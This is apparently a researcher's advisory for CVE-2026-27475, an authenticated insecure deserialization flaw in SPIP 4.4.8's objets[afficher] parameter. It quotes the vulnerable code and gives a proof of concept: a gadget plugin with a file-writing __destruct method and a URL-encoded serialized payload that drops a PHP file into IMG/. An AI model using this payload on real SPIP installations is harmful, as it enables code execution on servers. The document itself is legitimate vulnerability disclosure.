← Back to CVEs
EN | FR

(Critical) Authenticated Insecure Deserialization in SPIP 4.4.8

CVE-2026-27475 (CVSS-B 9.2 CRITICAL)

I found an insecure deserialization vulnerability taht can be triggered by an authenticated administrator via the parameter objets[afficher] passed to the URL ?page=prive/formulaires/selecteur/lister. It is passed directly to the PHP function unserialize() without verification.

While unserialize processes the data, it instantiates any class defined in the application scope. If a "POP Chain" or a specific "Gadget" class with a vulnerable __destruct or __wakeup method exists in the plugins, an attacker could achieve Remote Code Execution.

MITRE link here.

Blog post from SPIP here.

Details

You can trigger a deserialization which could lead to RCE.

Vulnerable code (prive/formulaires/selecteur/lister.html and ecrire/src/Compilateur/Iterateur/Data.php):

prive/formulaires/selecteur/lister.html :

<BOUCLE_objets(DATA){source table, #ENV{objets/afficher}}>

ecrire/src/Compilateur/Iterateur/Data.php :

protected function select_source() {
# rest of the code
if (
    isset($this->command['sourcemode'])
    and in_array(
        $this->command['sourcemode'],
        ['table', 'array', 'tableau']
    )
) {
    if (
        is_array($a = $src)
        or (is_string($a)
            and $a = str_replace('&quot;', '"', $a)
            and is_array($a = @unserialize($a)))
    ) {
        $this->tableau = $a;
    }

As you can see, the environment (#ENV{...} which retrieves the request from the URL for the objets[afficher] variable) is passed directly as a table-type source to the DATA loop. The $src variable (the payload) enters this condition and then passes directly through an unserialize($a) if it is a string (is_string($a)). This triggers the instantiation of arbitrary objects and allows for the exploitation of gadget chains to achieve Remote Code Execution (RCE).

PoC

To demonstrate the criticity of this vulnerability, I crafted a quick target plugin.

  1. Create these files : plugins/rce_gadget/paquet.xml
<paquet
    prefix="rce_gadget"
    categorie="outil"
    version="1.0.0"
    etat="test"
    compatibilite="[4.0.0;4.*.*]"
>
    <nom>RCE Gadget</nom>
    <auteur>Attacker</auteur>
</paquet>

plugins/rce_gadget/rce_gadget_options.php

<?php
class ExploitGadget {
    public $file;
    public $data;
    public function __destruct() {
        echo "<pre>DEBUG:\n";
        echo "File: "; var_dump($this->file);
        echo "Data: "; var_dump($this->data);
        echo "</pre>";
        file_put_contents($this->file, $this->data);
        die("PROOF");
    }
}
  1. Connect as administrator

  2. Visit this URL : /spip.php?page=prive/formulaires/selecteur/lister&objets[afficher]=a%3A1%3A%7Bi%3A0%3BO%3A13%3A%22ExploitGadget%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22IMG%2Frce.php%22%3Bs%3A4%3A%22data%22%3BS%3A19%3A%22%5C3c%5C3f%5C70%5C68%5C70%5C20%5C70%5C68%5C70%5C69%5C6e%5C66%5C6f%5C28%5C29%5C3b%5C20%5C3f%5C3e%22%3B%7D%7D&var_mode=recalcul&objets[selectionner][]=a.

The payload decodes to : a:1:{i:0;O:13:"ExploitGadget":2:{s:4:"file";s:11:"IMG/rce.php";s:4:"data";S:19:"<?php phpinfo(); ?>";}}. The encoding prevents encoding errors and ensures unserialize perfectly works.

  1. A file rce.php should then be created in the IMG folder. You can visit /IMG/rce.php and see the result of phpinfo.